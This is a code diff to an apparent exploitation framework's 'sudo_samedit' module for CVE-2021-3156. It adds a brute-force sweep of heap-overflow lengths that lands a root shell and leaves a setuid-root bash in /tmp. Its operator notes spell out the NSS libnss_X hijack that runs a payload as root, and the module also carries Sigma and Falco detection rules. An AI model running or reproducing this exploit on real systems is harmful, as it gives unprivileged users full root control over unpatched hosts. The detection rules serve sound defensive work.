+    if (!rooted) {
+        if (!ctx->json)
+            fprintf(stderr, "[*] sudo_samedit: primary miss — sweeping null_stomp_len "
+                            "%d..%d\n", tgt->null_stomp - 8, tgt->null_stomp + 8);
+        for (int ns = tgt->null_stomp - 8; ns <= tgt->null_stomp + 8 && !rooted; ns++) {
+            if (ns == tgt->null_stomp || ns < 1) continue;
+            rooted = samedit_try(sudoedit, wd, tgt->smash_a, tgt->smash_b,
+                                 ns, tgt->lc_all, samedit_proof);
+            if (rooted && !ctx->json)
+                fprintf(stderr, "[+] sudo_samedit: landed at null_stomp_len=%d\n", ns);
+        }
+    }
+
+    /* Best-effort scrub of the scratch build dir (keep proof + rootbash). */
+    { char rm[400]; snprintf(rm, sizeof rm, "rm -rf '%s' 2>/dev/null", wd);
+      if (system(rm) != 0) { /* ignore */ } }
+
+    if (rooted) {
+        if (!ctx->json) {
+            fprintf(stderr, "[+] sudo_samedit: ROOT — root-owned proof %s\n", samedit_proof);
+            fprintf(stderr, "[+] sudo_samedit: setuid-root shell available: %s -p\n",
+                    samedit_rootbash);
         }
-        /* Leak the buffers; we're about to exec a shell anyway. */
         return SKELETONKEY_EXPLOIT_OK;
     }
 
-    if (WIFSIGNALED(status)) {
-        if (!ctx->json) {
-            fprintf(stderr,
-                "[-] sudo_samedit: child died on signal %d "
-                "(likely sudo SIGSEGV from the overflow) — trigger fired\n"
-                "    but landing did not produce a root shell. Per-distro\n"
-                "    offset tuning required.\n",
-                WTERMSIG(status));
-        }
-    } else if (WIFEXITED(status)) {
-        if (!ctx->json) {
-            fprintf(stderr,
-                "[-] sudo_samedit: child exited %d — trigger did not\n"
-                "    crash sudo; the host is most likely patched at the\n"
-                "    parser level even though the version string was in\n"
-                "    range. Reporting EXPLOIT_FAIL.\n",
-                WEXITSTATUS(status));
-        }
-    }
-
-    /* Best-effort free. */
-    free(argv[2]);
-    for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) free(padbufs[i]);
+    if (!ctx->json)
+        fprintf(stderr, "[-] sudo_samedit: no root artifact after primary + sweep — "
+                        "honest EXPLOIT_FAIL. Host is likely backport-patched, or the "
+                        "libc heap layout needs lengths outside the swept range "
+                        "(see blasty brute.sh for a wider search).\n");
     return SKELETONKEY_EXPLOIT_FAIL;
 }
 
@@ -413,15 +450,15 @@ static skeletonkey_result_t sudo_samedit_exploit(const struct skeletonkey_ctx *c
 
 static skeletonkey_result_t sudo_samedit_cleanup(const struct skeletonkey_ctx *ctx)
 {
-    (void)ctx;
-    /* sudoedit creates "~/.sudo_edit_*" temp files on the way through.
-     * Best-effort unlink of any obvious crumbs left by our trigger. */
-    if (!ctx->json) {
-        fprintf(stderr, "[*] sudo_samedit: removing /tmp/skeletonkey-samedit-* crumbs\n");
-    }
-    if (system("rm -rf /tmp/skeletonkey-samedit-* /tmp/.sudo_edit_* 2>/dev/null") != 0) {
-        /* harmless — likely no files matched */
+    if (!ctx->json)
+        fprintf(stderr, "[*] sudo_samedit: removing artifacts + scratch dir\n");
+    if (samedit_proof[0])    unlink(samedit_proof);
+    if (samedit_rootbash[0]) unlink(samedit_rootbash);
+    if (samedit_workdir[0]) {
+        char rm[400]; snprintf(rm, sizeof rm, "rm -rf '%s' 2>/dev/null", samedit_workdir);
+        if (system(rm) != 0) { /* ignore */ }
     }
+    if (system("rm -rf /tmp/.sudo_edit_* 2>/dev/null") != 0) { /* ignore */ }
     return SKELETONKEY_OK;
 }
 
@@ -446,7 +483,8 @@ static const char sudo_samedit_sigma[] =
     "  Detects sudoedit (or sudo invoked as sudoedit) executed with the\n"
     "  -s flag and a command-line argument ending in a lone backslash —\n"
     "  the canonical Qualys trigger for the heap overflow in\n"
-    "  plugins/sudoers/sudoers.c set_cmnd().\n"
+    "  plugins/sudoers/sudoers.c set_cmnd(). A libnss_X/ directory in the\n"
+    "  caller's CWD is a strong corroborating artifact.\n"
     "logsource:\n"
     "  product: linux\n"
     "  service: auditd\n"
@@ -472,14 +510,12 @@ static const char sudo_samedit_sigma[] =
     "  - attack.t1068\n"
     "  - cve.2021.3156\n";
 
-/* ---- Module registration ----------------------------------------- */
-
 static const char sudo_samedit_falco[] =
     "- rule: sudoedit with -s and trailing-backslash argv (Baron Samedit)\n"
     "  desc: |\n"
     "    sudoedit invoked with -s and one or more args ending in '\\'.\n"
     "    The parser's unescape loop walks past the argv string into\n"
-    "    adjacent stack/env, overflowing the heap buffer.\n"
+    "    adjacent env, overflowing the heap buffer.\n"
     "    CVE-2021-3156. False positives: extraordinarily rare;\n"
     "    legitimate sudoedit usage does not need trailing backslashes.\n"
     "  condition: >\n"
@@ -491,10 +527,12 @@ static const char sudo_samedit_falco[] =
     "  priority: CRITICAL\n"
     "  tags: [process, mitre_privilege_escalation, T1068, cve.2021.3156]\n";
 
+/* ---- Module registration ----------------------------------------- */
+
 const struct skeletonkey_module sudo_samedit_module = {
     .name           = "sudo_samedit",
     .cve            = "CVE-2021-3156",
-    .summary        = "sudo Baron Samedit heap overflow via sudoedit -s '\\\\' (Qualys)",
+    .summary        = "sudo Baron Samedit heap overflow via sudoedit -s → NSS libnss_X hijack → root (blasty)",
     .family         = "sudo",
     .kernel_range   = "userspace — sudo 1.8.2 ≤ V ≤ 1.9.5p1 (fixed in 1.9.5p2)",
     .detect         = sudo_samedit_detect,
@@ -505,7 +543,7 @@ const struct skeletonkey_module sudo_samedit_module = {
     .detect_sigma   = sudo_samedit_sigma,
     .detect_yara    = NULL,
     .detect_falco   = sudo_samedit_falco,
-    .opsec_notes    = "Invokes sudoedit with argv = { 'sudoedit', '-s', trailing-backslash, then ~60 padding args each ending in backslash }; the parser's unescape loop in set_cmnd() walks past the end of the argv string for the trailing-backslash argument, copying adjacent stack/env into an undersized heap buffer. Audit-visible via execve(/usr/bin/sudoedit) with -s and a trailing-backslash argv. No persistent file artifacts (only best-effort removal of /tmp/.sudo_edit_*). No network. Dmesg silent unless sudo crashes (SIGSEGV). Per-distro heap layout determines landing; verifies geteuid()==0 afterward.",
+    .opsec_notes    = "Compiles a small NSS payload on the target (needs cc/gcc), then execs sudoedit with argv = { 'sudoedit','-s','AAAA…\\','\\','BBBB…\\' } and an env of N backslashes + 'X/P0P_SH3LLZ_' + a padded LC_ALL, from a CWD holding libnss_X/'P0P_SH3LLZ_ .so.2'. The set_cmnd() unescape overflow overwrites a glibc NSS service_user so the subsequent lookup dlopen's the payload, whose constructor runs while sudo is root. Very audit-visible: execve(sudoedit) with -s + trailing-backslash argv, an unusual all-backslash environ, and a libnss_X/ dir in CWD. Grooming lengths are libc-family specific; a miss sweeps null_stomp_len. Artifacts: root-owned proof + setuid bash under /tmp (removed by cleanup()); scratch build dir is scrubbed during the run. Misses may SIGSEGV sudo (dmesg).",
     .arch_support   = "any",
 };